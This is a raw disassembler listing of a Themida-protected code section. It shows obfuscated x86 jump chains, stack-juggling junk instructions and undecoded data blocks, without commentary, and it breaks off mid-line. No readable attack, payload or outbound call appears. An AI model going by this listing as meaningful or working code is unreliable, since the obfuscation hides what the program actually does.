jmp loc_593902 ; --------------------------------------------------------------------------- byte_59C407 db 0ADh ; DATA XREF: Themida_:0058E11Co dd 5357D831h, 8904EC83h, 0E2892414h, 4676E9h db 0 ; --------------------------------------------------------------------------- loc_59C419: ; CODE XREF: Themida_:005A08EAj add edx, 600313A1h push ebp jmp loc_5A1436 ; --------------------------------------------------------------------------- db 53h, 0BBh, 1Dh a11sscd db '~11Sécd',0 dd 24343300h, 3324248Bh, 10E92414h, 57000061h, 7E2E16BFh dd 0BEA5E92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C44A: ; CODE XREF: Themida_:005A1204j add bl, ah sub bl, 0E1h pop ax sub bl, al jmp loc_5960E5 ; --------------------------------------------------------------------------- dd 74FF5158h, 0C8B0424h, 4C48124h, 0E9000000h, 3B07h, 81241C8Bh dd 4C4h, 4B85000h, 1000000h, 0BE5658C3h, 4, 875EF301h dd 0FDE9241Ch db 46h, 2 dup(0FFh) byte_59C48F db 0ACh ; DATA XREF: Themida_:0058E20Co dd 0EC81D830h, 4, 51241489h, 0B1F7B252h, 0FFD128E1h, 575A2434h dd 0FF95CDE9h, 243C33FFh, 6624248Bh, 9C2424D3h, 0FF4AAFE9h dd 2414F7FFh, 0FF9DD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C4C5: ; CODE XREF: Themida_:005916AEj xchg eax, [esp] jmp loc_59156C ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 5 dd 792E9h, 0D3885300h, 1434E9h, 5DEE2900h, 1ABAB951h, 0C1813C05h dd 56F24C78h, 0FDE9CE31h, 81FFFF50h, 615A65E3h, 29B95146h dd 8129FD7Dh, 79436DF1h, 6579E945h, 0FE050000h, 0E912935Ch dd 0FFFF2002h, 0E955E089h, 0FFFF59DEh aMrh db '¬RhÈ$',0 ; DATA XREF: Themida_:0058E284o dw 8900h dd 66E92404h, 81FFFF5Bh, 243225F6h, 53E95108h, 83FFFF3Eh dd 0C48104C4h, 4, 57E18951h, 4BFh, 5FF90100h, 708E9h, 355D6800h dd 1C890000h, 79E95D24h, 8700003Ch, 248B2414h, 4C68124h dd 0E9000000h, 0FFFFBE0Eh, 8324048Bh, 0E95104C4h, 103Dh dd 0A2EF57B8h, 58C629D6h, 0DD8FE952h db 2 dup(0FFh) word_59C58A dw 4F68h ; DATA XREF: Themida_:0058E078o dd 8900006Eh, 0BCE92414h, 57FFFF1Dh, 0FF834EE9h, 4C483FFh dd 66D9BA52h, 0D02912ECh, 0B4BF575Ah, 2D75EA7Ah, 71F62C3Fh dd 0FFF8CDE9h, 24248BFFh, 87240489h, 54E92434h, 1FFFF67h dd 0FCE95EF0h, 81000057h, 104F5FF1h, 0C1814903h, 196BE213h dd 0C8BCD29h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 7BE7E95Ch, 0C8BFFFFh, 2A726824h, 0C890000h, 81595424h dd 4C1h, 4C18300h, 5C240C87h, 4A47E9h, 1DA12D00h, 6B05098Bh dd 681AF701h, 21BDh, 0FFB031E9h, 242C89FFh, 0FF2BAAE9h dd 23EE81FFh, 4E6CA759h, 971CC681h, 0DE92BB1h, 8300002Ch dd 766804C4h, 89000009h, 34812434h, 672EB24h, 2434FF2Bh dd 2B37E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C65E: ; CODE XREF: Themida_:005935A9j add esi, 2 xchg esi, [esp] mov esp, [esp] push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_594547 ; --------------------------------------------------------------------------- dw 0FF51h dd 59042474h, 8B24048Fh, 14892424h, 4EC8324h, 68240489h dd 1869h, 6472E9h, 88D7F600h, 0C05B66FEh, 0E6D008EEh, 93E68h dd 24048900h, 0E8C014B0h, 24AE2403h, 28342C89h, 2434FFC6h dd 4C48358h, 8006E6C0h, 0F0004BC6h, 5C8CE9h, 25E38100h dd 0C17B7A78h, 0CB8104E3h, 548E0891h, 280AEB81h, 0EB814F1Dh dd 0E3F9FBEEh, 665BD801h, 60E930FFh, 5AFFFF1Ch, 0F1685652h dd 5E6B757Eh, 57A3EE81h, 0AE9FA6Fh, 5BFFFFD0h, 81241C8Bh dd 4C4h, 5E5C100h, 8904EC83h, 79B82404h, 0E9E530D2h, 0FFFFF25Ch dd 0BB5ED81h, 0ABE96C9Eh, 0B9FFFF98h, 126A40F4h, 4905E9C1h dd 8106E1C1h, 2A94BBF1h, 0C8895005h, 5958C289h, 815AD589h dd 9D0B58C5h, 27E86870h, 34890000h, 213BBE24h, 0BE92413h db 14h, 2 dup(0) byte_59C763 db 66h ; DATA XREF: Themida_:0058E150o dd 56240C8Bh, 39E568h, 24248900h, 4240481h, 0FF000000h dd 348B2434h, 4EC8124h, 89000000h, 0E2892414h, 4C281h dd 0D0E90000h, 81FFFF63h, 0F3D08EEh, 0DCC6814Eh, 0E9121957h dd 0FFFF8D85h, 4C281h, 0C2830000h, 24148704h, 2434FF5Ch dd 5624048Bh, 0C681E689h, 4, 8704C683h, 73E92434h, 89FFFF7Ah dd 9DE95EF5h db 3Ch, 2 dup(0) byte_59C7D3 db 0ACh ; DATA XREF: Themida_:0058E2B0o dd 0FFDF31E9h, 5BC381FFh, 0E9642524h, 5512h, 4C7835Bh dd 2474FF57h, 48F5F04h, 68665C24h, 8966037Bh, 5253240Ch dd 0FFD80BE9h, 5EF701FFh, 5C243C87h, 0AAE95455h, 54FFFF99h dd 8B2434FFh, 54532414h, 4C3815Bh, 0E9000000h, 0FFFF56FBh ; --------------------------------------------------------------------------- loc_59C824: ; CODE XREF: Themida_:005A1947j add edi, 101024EBh mov esi, [esp] jmp loc_58FD67 ; --------------------------------------------------------------------------- dw 0C681h dd 1C72757Dh, 0EE81FE29h, 1C72757Dh, 7857685Fh, 14890000h dd 4466BA24h, 0B3E97FECh, 31FFFF5Ah, 34332434h, 34E95C24h dd 68FFFFD9h, 7AAEh, 53241489h, 0FE8837B7h, 0E9241C8Bh dd 0FFFF979Eh, 7003EE05h, 1BE95D6Eh db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C87F: ; CODE XREF: Themida_:0059A384j pop edx xor ecx, ebp jmp loc_590A67 ; --------------------------------------------------------------------------- db 33h dd 0BBE9240Ch, 89FFFF50h, 37BD242Ch, 0E963041Bh, 4D9Ch dd 84DEA81h, 0F2295EE7h, 0FF9D3AE9h, 4EB81FFh, 87000000h dd 2EE9241Ch, 0BA000043h, 54DC76D0h, 8104E2C1h, 396E7FF2h dd 0D6895617h, 0FF4166E9h, 0E908B5FFh, 5D82h, 11710835h dd 0E9C53102h, 0FFFFEAEDh ; --------------------------------------------------------------------------- loc_59C8E0: ; CODE XREF: Themida_:005A196Fj sub edi, 5662334Ah pop ebx jmp loc_5969DA ; --------------------------------------------------------------------------- dd 4AA6E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C8F2: ; CODE XREF: Themida_:00592332j mov esi, 4 mov eax, esi jmp loc_598C3F ; --------------------------------------------------------------------------- dw 0E981h dd 282BE6BCh, 34FFCB89h, 240C8B24h, 4C481h, 0E9570000h dd 0FFFF3020h, 2124248Bh, 0C20959C8h, 0A9E9E2D1h, 68FFFFB0h dd 8862BDD3h, 5FF9315Fh, 3159C831h, 0F30158C6h, 8324348Bh dd 0D98904C4h, 8B2434FFh, 3BE9241Ch, 81000026h, 4C6h, 4EE8100h dd 56000000h, 42474FFh, 24048F5Eh, 241C895Ch, 0FFFFBB53h dd 5C29FFFFh, 0FF5B0424h, 505B2434h, 405E089h, 0E9000000h dd 6753h, 0EF81DF01h, 1A7902B2h, 516E68h, 496BE900h, 0D7290000h dd 8324148Bh, 0F98904C4h, 65C3E9h, 0B0F78000h, 0FFCB15E9h dd 59C801FFh, 72195B05h, 57C8010Dh, 0FFEE47E9h, 242C89FFh dd 0C581E589h, 4, 8904EC83h, 4BE2434h, 29000000h, 0A0E95EF5h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C9D7: ; CODE XREF: Themida_:005A2101j mov ch, 0D5h neg ch push ebx mov bl, 71h jmp loc_59CE00 ; --------------------------------------------------------------------------- loc_59C9E3: ; CODE XREF: Themida_:0059F822j push edx mov edx, 4 jmp loc_58E57F ; --------------------------------------------------------------------------- aQs3S_ db 'QS³3µ\(Ýé.:',0 db 0 ; --------------------------------------------------------------------------- loc_59C9FB: ; CODE XREF: Themida_:00597F83j pop edx pop dword ptr [esp] pop esp mov [esp], eax jmp loc_58EB78 ; --------------------------------------------------------------------------- dd 1690B850h, 46E91D88h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CA13: ; CODE XREF: Themida_:005A2E25j pop esp inc edi jmp loc_58EF92 ; --------------------------------------------------------------------------- dw 48Fh dd 77FF5C24h, 2434FF1Ch, 81240C8Bh dword_59CA28 dd 4C4h, 635B6800h, 40E90000h, 51000034h, 86EA968h, 0E9815911h ; DATA XREF: Themida_:00581E7Co dd 64C55204h, 25DEC981h, 0D9F72A1Ah, 6B57C181h, 0CD89F123h dd 5DE80159h, 75E95352h, 81000053h, 4C4h, 0B76E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59CA6A: ; CODE XREF: Themida_:005A2C8Cj mov edi, esp add edi, 4 add edi, 4 sub esp, 4 mov [esp], edi jmp loc_59E2BF ; --------------------------------------------------------------------------- dword_59CA80 dd 240C8B66h, 6DDC6850h, 24890000h, 4B85024h, 1000000h ; DATA XREF: Themida_:0058E0E4o dd 0E9042444h, 682Ah, 27A7BA52h, 0F2816E9Bh, 53545B93h dd 814ADAF7h, 5E3FEEF2h, 0C6EA8155h, 0E939E766h, 0FFFF7B06h dd 0B905C2BAh, 5AD30162h, 7E0EBD55h, 0B951531Eh, 782C602Ah dd 52E4E9h db 0 ; --------------------------------------------------------------------------- loc_59CAD5: ; CODE XREF: Themida_:005A09E4j add esp, 4 jmp loc_5A2A9C ; --------------------------------------------------------------------------- db 0B9h, 0BAh, 50h dd 0CF317766h, 0E9240C8Bh, 0FFFF42C3h, 70DA0559h, 0E955722Dh dd 0FFFFBD78h, 4E0868h, 24048900h, 716582B8h, 5DB95162h dd 8168012Dh, 50375F1h, 0C1814967h, 250210D7h, 8104E9C1h dd 0BBA9A3C1h, 0C8C98137h, 0E92E7F62h, 0FFFF804Ch, 535BD929h dd 71676DBBh, 0E4F38167h, 0E96A5B00h, 0FFFFB057h ; --------------------------------------------------------------------------- loc_59CB40: ; CODE XREF: Themida_:0059E71Cj sub esp, 4 mov [esp], edi mov edi, 17A9017Dh dec edi jmp loc_594F57 ; --------------------------------------------------------------------------- dd 5D2434FFh, 4B6D68h, 0FAC7E900h, 0C229FFFFh, 24148758h dd 2F8BE95Ch, 0C330FFFFh, 0FF48DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_59CB75: ; CODE XREF: Themida_:00597700j mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_595851 ; --------------------------------------------------------------------------- db 31h, 0C3h, 0E9h dd 0FFFFEEA1h ; --------------------------------------------------------------------------- loc_59CB8C: ; CODE XREF: Themida_:005A0EE3j add esp, 4 push edx jmp loc_59F916 ; --------------------------------------------------------------------------- loc_59CB95: ; CODE XREF: Themida_:005980A0j pop dword ptr [edi+24h] push dword ptr [esp] jmp loc_59A39F ; --------------------------------------------------------------------------- dd 0E9EB015Eh, 0FFFF2E41h, 0DCE9EA01h, 81FFFFA4h, 3B3517E5h dd 0AF21E906h, 3540FFFFh, 632947B2h, 0FF6DD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_59CBC5: ; CODE XREF: Themida_:005953FFj pop esi jmp loc_5A2A6B ; --------------------------------------------------------------------------- db 55h dd 42474FFh, 24048F5Dh, 8124248Bh, 4C6h, 2BA5200h, 1000000h dd 34875AD6h, 0D3665C24h, 0E99C242Ch, 0FFFF175Fh ; --------------------------------------------------------------------------- loc_59CBF4: ; CODE XREF: Themida_:0059E6F0j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax jmp loc_5A26EA ; --------------------------------------------------------------------------- dword_59CC0C dd 240C8B66h, 7E8A68h, 24148900h, 9BE9E289h, 6800005Ah ; DATA XREF: Themida_:0058E0B4o dd 2E03h, 0FFDF28E9h, 0F7EA81FFh, 817DAB32h, 593AB7CAh dd 7BF2815Fh, 295A3FBFh, 0F1015AD1h, 44CCC181h, 93E92544h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CC4B: ; CODE XREF: Themida_:00591F95j xor edx, 0EF90373h pop edi add ebx, edx jmp loc_59939D ; --------------------------------------------------------------------------- db 81h, 0E9h, 4 dd 87000000h, 35E9240Ch, 0C1FFFFA0h, 6807E0h, 81000000h dd 3149242Ch, 4291FBCh, 24048124h, 1FBC3149h, 582434FFh dd 4C481h, 0FC2D0000h, 15E142Fh, 2434FFC5h, 54E95058h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CC9B: ; CODE XREF: Themida_:0059407Fj sub eax, ebx jmp loc_59F1B7 ; --------------------------------------------------------------------------- dw 6856h dd 285470C3h, 0FF8FC0E9h, 0BB5357FFh, 4, 815BDF89h, 963BD9C3h dd 81FB0178h, 963BD9EBh, 0AA3BE978h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CCCA: ; CODE XREF: Themida_:005A0A2Cj xor edi, esi pop esi jmp loc_590006 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0EF2DE95Eh, 0DEF7FFFFh, 0FF2EA6E9h, 0BF5750FFh dd 3D970100h, 95FF889h, 9EE958C7h, 83FFFFE2h, 348704EEh dd 0D8E95C24h, 0BFFFFF46h, 6CBC0AD7h, 65F1CF81h, 0EFC15FBAh dd 0BAF78107h, 81125127h, 93015FE9h, 81F9015Bh, 93015FC1h dd 243C8B5Bh, 0C13E9h, 87EB8000h, 0C380CB28h, 0EB805987h dd 36B0E946h, 0E5C10000h, 0E0BE5602h, 0E90A3861h, 5FD8h dd 9E3577BDh, 5DE90116h, 5DFC88BBh, 8BCB01F2h, 0C483240Ch dd 5BDE8904h, 2CB1C681h, 685705F1h, 3D8550E9h, 8BFE215Fh dd 0F3E9243Ch db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_59CD7B: ; CODE XREF: Themida_:00598105j push ebx mov ebx, 4 add esi, ebx pop ebx push ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 324Eh jmp loc_592727 ; --------------------------------------------------------------------------- db 21h, 0D6h, 0E9h dd 0FFFF7410h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 4 sub ecx, 24453AD6h push ebx push 0C6Eh mov [esp], ebp mov ebp, 24953CF0h xor ebp, 0AFA0E46h push ebp pop ebx pop ebp sub ecx, 0A1B3362h sub ecx, ebx add ecx, 0A1B3362h pop ebx add ecx, 655B00F5h sub ecx, ebp sub ecx, 655B00F5h push esi jmp loc_5A186A ; --------------------------------------------------------------------------- loc_59CE00: ; CODE XREF: Themida_:0059C9DEj neg bl sub bl, 79h jmp loc_59C038 ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 51000000h, 9D6C14B9h, 10F18153h, 1539D6Ch dd 3C8759CFh, 24248B24h, 4EC81h, 4EE90000h, 89FFFF24h dd 0FCE9241Ch, 2900003Dh, 222DE9DEh, 0E95A0000h, 0FFFF15D4h dd 4240481h, 8F000000h, 4812404h, 424h, 240C8B00h, 0FFE4C8E9h dd 8B5451FFh, 57E9240Ch, 0B9000018h, 309C1CC1h, 1F5BE56h dd 0F1211092h, 7DE9525Eh, 81FFFF6Ch, 0E15030EFh, 23C7811Eh dd 0E9476B16h, 0FFFF3123h, 0FF1C4F21h, 0E9592434h, 0FFFFFFC5h dd 875AD001h, 248B2404h, 2434FF24h, 8B2434FFh, 0C481240Ch dd 4, 0E904C483h, 0FFFF7484h ; --------------------------------------------------------------------------- loc_59CEBC: ; CODE XREF: Themida_:00597105j mov ebx, 3A400E68h inc ebx and ebx, 6E0C5C20h jmp loc_59B6F5 ; --------------------------------------------------------------------------- loc_59CECD: ; CODE XREF: Themida_:005A0706j add esp, 4 push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_5A22C4 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BA241489h, 69EF2F10h, 34FFD301h, 3620E924h db 2 dup(0) word_59CF12 dw 77FFh ; DATA XREF: Themida_:0058E300o dd 1439E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CF1A: ; CODE XREF: Themida_:005A0018j pop cx sub al, ch push ebx mov bh, 0A6h jmp loc_591443 ; --------------------------------------------------------------------------- dw 8358h dd 535704C4h, 0C381E389h, 4, 4B850h, 9AE90000h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CF3F: ; CODE XREF: Themida_:0059E0B0j not dh sub dh, 5Ah sub dh, 0 or ch, dh pop edx inc ch inc ch xor ch, 0FAh add dl, ch jmp loc_5945AA ; --------------------------------------------------------------------------- dd 665EEB80h, 5024048Bh, 405E089h, 83000000h, 0FF5002C0h dd 58042474h, 5C24048Fh, 592434FFh, 0E9E78957h, 0FFFF208Ah dd 4BB53h, 0DA290000h, 2414875Bh, 0FF8744E9h, 0BEB951FFh dd 0E93D4C64h, 0FFFF8D85h ; --------------------------------------------------------------------------- loc_59CF9C: ; CODE XREF: Themida_:00594517j xor al, 90h or dh, al pop eax push cx mov cl, 0FFh sub dh, cl pop cx jmp loc_597756 ; --------------------------------------------------------------------------- loc_59CFAE: ; CODE XREF: Themida_:0059BE90j xchg edx, [esp] pop esp jmp loc_59286D ; --------------------------------------------------------------------------- loc_59CFB7: ; CODE XREF: Themida_:0058FDA3j mov bh, cl pop ecx mov ch, bh jmp loc_594C71 ; --------------------------------------------------------------------------- aRh db 'Rh¿$',0 dw 8900h dd 0B951242Ch, 4FB00314h, 0FFE699E9h db 0FFh byte_59CFD5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E260o dd 6986824h, 5BE90000h, 2DFFFF8Ah, 0E749C3h, 8158C601h dd 4EEh, 24348700h, 241C895Ch, 0D1723A68h, 0EC815B5Ch dd 4, 0BA241489h, 2B7205A9h, 22ADF281h, 0CA814AEDh, 620D2C64h dd 0FFA9E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_59D01D: ; CODE XREF: Themida_:0059E990j pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor dl, cl xor cl, dl jmp loc_594457 ; --------------------------------------------------------------------------- dw 0E381h dd 223F0CDCh, 0DFCCC381h, 0E405B394h, 142E377h, 77E42DD8h dd 0F6E942E3h, 53FFFF4Dh, 55B1E954h, 0C483FFFFh, 241C3304h dd 33241C31h, 0ABE9241Ch db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D06F: ; CODE XREF: Themida_:005974D7j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59A7D0 ; --------------------------------------------------------------------------- dd 4C481h, 0E9810000h, 251528B0h, 331E055Eh, 1CE9427Ah dd 81FFFF8Fh, 4C1h, 720EE900h, 5351FFFFh, 4451E9h db 0 byte_59D0A9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0058E204o dd 0E92434FFh, 0FFFFB230h, 5AD0295Bh, 8904EC83h, 0FDE9241Ch dd 50000025h, 5CA9BB53h, 0CB81496Dh, 7E2445A7h, 5024E381h dd 0C38174F8h, 0DFA0968h, 0E2DCE956h, 0E94AFFFFh, 2B18h dd 5804C483h, 2B29E9h, 0F664B200h, 10F280DAh, 0F280D2F6h dd 9E28067h, 8076F280h, 0EAC0ACE2h, 0E9DAF604h, 0FFFF2A36h dd 2414F753h, 0FF80BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59D119: ; CODE XREF: Themida_:0059FF91j xor edx, 3715772Ah not edx xor edx, 0EF15980Fh sub edi, 2F8336C1h add edi, 6FAF0F31h add edi, edx sub edi, 6FAF0F31h add edi, 2F8336C1h pop edx add edi, 4 xchg edi, [esp] pop esp push 4C5Ch mov [esp], edi sub esp, 4 mov [esp], edx jmp loc_58F4C4 ; --------------------------------------------------------------------------- dd 0D6E9C201h, 66FFFFC7h, 0E8E99C50h db 11h, 2 dup(0FFh) aN1Hz db '1Øh§',27h,0 ; DATA XREF: Themida_:0058E1E8o dw 8900h dd 6B682414h, 89000043h, 0BE56242Ch, 1F55268Eh, 0FFDB6FE9h dd 5BDC88FFh, 88E28852h, 80585AD5h, 0ED805AEDh, 80DD00A4h dd 0C580A4C5h, 241C8B5Ah, 0FF499DE9h, 0D13405FFh, 0C329DC4Eh dd 1C875858h, 20E95C24h, 81FFFF34h, 0D437C1EFh, 2434FF72h dd 4C4835Eh, 8704C783h, 73E9243Ch, 66000023h, 6645F668h dd 66241C89h, 0AA242C81h, 665D6616h, 16AAC581h, 0FF65D6E9h dd 0C8015BFFh, 83240C8Bh, 48704C4h, 24248B24h, 0E99CC885h dd 0FFFF114Fh ; --------------------------------------------------------------------------- loc_59D204: ; CODE XREF: Themida_:0058FEFEj and edx, ebp pop ebp jmp loc_593A93 ; --------------------------------------------------------------------------- dd 8B2434FFh, 8953241Ch, 4C381E3h, 55000000h, 4BDh, 0B56BE900h dd 8852FFFFh, 8BF488EEh, 0C4832414h, 240C8B04h, 4C481h dd 0E4C00000h, 52F48003h, 34FFE520h, 0C4835824h, 62F58004h dd 0C8BEA88h, 0CA96E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D256: ; CODE XREF: Themida_:005A2171j mov bh, 8Ch and cl, bh mov bx, [esp] add esp, 2 dec cl jmp loc_594FC4 ; --------------------------------------------------------------------------- dd 2D83E281h, 0EA81632Dh, 2105007Fh, 148BD001h, 4C48324h dd 5C240487h, 0FF8947E9h db 0FFh byte_59D285 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058E27Co dd 1164E924h, 0C2810000h, 6909F8A7h, 0FF125CE9h, 0D0E681FFh dd 0E921427Ah, 539Fh, 17AE27B9h, 59CA29ACh, 77E9D689h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D2B3: ; CODE XREF: Themida_:0058F452j add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp] xor [esp], esi jmp loc_59F8E1 ; --------------------------------------------------------------------------- db 0BBh, 0DEh, 20h dd 0E3C16EB1h, 84B85006h, 153B7C8h, 0F5E958C3h, 81FFFFF0h dd 19E8F2C2h, 5AD7010Dh, 4A7DEF81h, 0E95B3B30h, 3123h dd 5C243487h, 1BC7E9h, 5AD02900h, 603CE981h, 3DE90124h db 13h, 2 dup(0FFh) byte_59D30F db 55h ; DATA XREF: Themida_:0058E118o dd 0C5815D54h, 4, 4B850h, 0D1E90000h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D323: ; CODE XREF: Themida_:00590070j add esp, 4 jmp loc_597F0E ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 81242489h, 42404h, 348B0000h, 4C48324h, 4C681h, 5BE90000h db 83h, 2 dup(0FFh) off_59D34F dd offset loc_40FB67+1 ; DATA XREF: Themida_:0058E2D0o align 4 dd 54242C89h, 0FF8A78E9h db 0FFh byte_59D35D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058E1B4o dd 4EC8324h, 0E9240C89h, 0FFFF5063h, 4C14E956h, 872D0000h dd 0E93D8326h, 0FFFF7B23h, 5AE9EB01h, 5EFFFF75h, 5158C131h dd 0B7240481h, 5B1ECE6Ch, 6CB7EB81h, 0C8B1ECEh, 4C48124h dd 0E9000000h, 0FFFF0FAFh, 0EB19F105h, 1EE98119h, 532A7206h dd 434A57BBh, 6ACB816Dh, 0E97D6C43h, 0FFFFD8A4h, 0FFCD3159h dd 83592434h, 0E5C104C4h, 67BE905h, 52530000h, 8851E688h dd 0EBF0E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D3DE: ; CODE XREF: Themida_:00599DC8j add esp, 4 jmp loc_5A0CF2 ; --------------------------------------------------------------------------- dw 0D800h dd 0C4AAE95Bh, 0E95DFFFFh, 0FFFF64A1h, 425868h, 240C8900h dd 6240481h, 5D48AF3Eh, 3E06ED81h, 0D6E948AFh, 8BFFFF3Fh dd 1FE9240Ch, 81FFFF63h, 0C264B1C7h, 5444E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D422: ; CODE XREF: Themida_:005960F7j or eax, 169A7D68h push ecx mov ecx, 3F3712D5h xor eax, ecx pop ecx xor eax, 419862EDh push ebx mov ebx, 601D74F6h sub ebx, 597B6FC8h or ebx, 3694101Dh sub ebx, 289E2A7Fh push esi mov esi, 88EBC6F9h jmp loc_596628 ; --------------------------------------------------------------------------- loc_59D458: ; CODE XREF: Themida_:005961F4j pop edx add ebp, 4 jmp loc_59FDB8 ; --------------------------------------------------------------------------- dd 4C381h, 44E90000h, 50FFFF3Eh, 32276856h, 0E95E5610h dd 0FFFFC35Dh, 72E95153h, 8100005Ch, 0F5159DC2h, 0A9CA811Bh dd 8115CA5Dh, 0B727A7E2h, 0A5EA817Dh, 0E942A007h, 0FFFFF789h ; --------------------------------------------------------------------------- loc_59D4A0: ; CODE XREF: Themida_:0059E744j or eax, eax jz loc_5A1B89 push edx push 6058h mov [esp], edi jmp loc_591C89 ; --------------------------------------------------------------------------- word_59D4B6 dw 34FFh ; DATA XREF: Themida_:0058E298o aSo db '$é®#',0 align 2 dw 0C281h dd 4, 4EA81h, 14870000h, 89E95C24h, 89FFFFAAh, 0E9512414h dd 0FFFF55D4h, 5204C483h, 4EC81h, 34E90000h, 5CFFFFDAh dd 0FF413BE9h, 24148BFFh, 4C481h, 0C3810000h, 40C04B56h dd 0EB81FB01h, 40C04B56h, 5FB85052h, 89422C0Eh, 5FE958C2h dd 3100004Ch, 0E7E9241Ch, 81000046h, 5747C4EFh, 0BB535111h dd 3DBA321Fh, 0BF57h, 0DF290000h, 89E9FB89h, 56000056h dd 4BEh, 8BF00100h, 90E92434h, 89FFFFDFh, 0E789243Ch, 4BF5753h dd 89000000h, 0ACE95FFBh, 0FFFFFFB0h, 81582434h, 4C4h dd 0E2895200h, 4C281h, 0A6E90000h, 0C0FFFFA8h, 536605ECh dd 0FC28C5B7h, 0CEE95B66h, 50FFFFE5h, 4B8h, 5EFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D592: ; CODE XREF: Themida_:00596B3Dj mov [esp], ecx xchg ebp, [esp] jmp loc_59ED83 ; --------------------------------------------------------------------------- loc_59D59D: ; CODE XREF: Themida_:005945ABj neg dl inc dl sub dl, 0D4h sub bl, dl mov edx, [esp] add esp, 4 add bl, 16h sub bl, al jmp loc_59E7D7 ; --------------------------------------------------------------------------- aTsi db 'Té¨*',0 dw 0B900h dd 72266A9Dh, 159CE01h, 9DEE81C6h, 0E972266Ah, 0FFFF1431h dd 4C18159h, 0E9000000h, 0FFFFA40Ch, 31243433h, 34332434h dd 24248B24h, 3FC168h, 241C8900h, 0FF0E52E9h, 241489FFh dd 9EE9E289h, 8BFFFF64h, 0C481243Ch, 4, 4C181h, 0C330000h dd 240C3124h, 8B240C33h, 68E92424h, 5BFFFFAEh, 0FF889FE9h dd 1C875AFFh, 24248B24h, 0E92424D3h, 0FFFFC49Eh ; --------------------------------------------------------------------------- loc_59D638: ; CODE XREF: Themida_:005A1AEDj sub esp, 4 mov [esp], ebp mov ebp, 700E2851h jmp loc_59B444 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF6A34h, 0B9E9DE29h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D657: ; CODE XREF: Themida_:005A1606j pop ebp push ebp jmp loc_5A0BF3 ; --------------------------------------------------------------------------- dw 0EF01h dd 4C7835Dh, 5C243C87h, 0C8B5451h, 6C56E924h db 2 dup(0FFh) word_59D672 dw 148Bh ; DATA XREF: Themida_:0058E190o aHoz db '$hŽz',0 align 2 aI4Siq db '‰4$éiQ',0 align 2 dw 0F168h dd 89000028h, 3DE9240Ch db 20h, 2 dup(0) byte_59D68F db 66h ; DATA XREF: Themida_:0058E098o dd 5224048Bh, 2434FF54h, 4C4815Ah, 68000000h, 1C5Dh, 83240489h dd 0ABE904ECh db 0A6h, 2 dup(0FFh) byte_59D6AF db 0FFh ; DATA XREF: Themida_:0058E138o dd 34FF2434h, 3C30E924h, 0D7F70000h, 0CE81FE87h, 65B05672h dd 3EFDE9h, 0C4835800h, 8BD50104h, 0C4812414h, 4, 2081E9h dd 90E95900h, 52FFFF92h, 0FFA258E9h, 4C781FFh, 81000000h dd 4EFh, 243C8700h, 48F545Ch, 0DEE95624h, 88FFFF25h, 0C4E959CAh dd 29FFFFCAh, 2434FFD8h, 492E9h, 0DFE95A00h, 53000003h dd 4E0610BBh, 3EEEE901h, 0D5F7FFFFh, 0BE56D5F7h, 154B1D63h dd 1794EE81h, 0E6D161E6h, 0AAE9DEF7h, 83FFFFCCh, 876804C4h dd 0E9000053h, 0FFFF7F9Dh, 0F181D1F7h, 0D7DCC158h, 0FF8A4BE9h dd 0EE06BFFFh, 0FE293107h, 0E9F3295Fh, 0FFFFDEEDh ; --------------------------------------------------------------------------- loc_59D768: ; CODE XREF: Themida_:005A143Bj or ebp, 697430E2h xor ebp, 8117035h sub ebp, 135DEFC6h or edx, ebp pop ebp jmp loc_5A20A5 ; --------------------------------------------------------------------------- dw 0CCE9h dd 89FFFF0Bh, 48B82404h, 0C14E6A42h, 0E94002E8h, 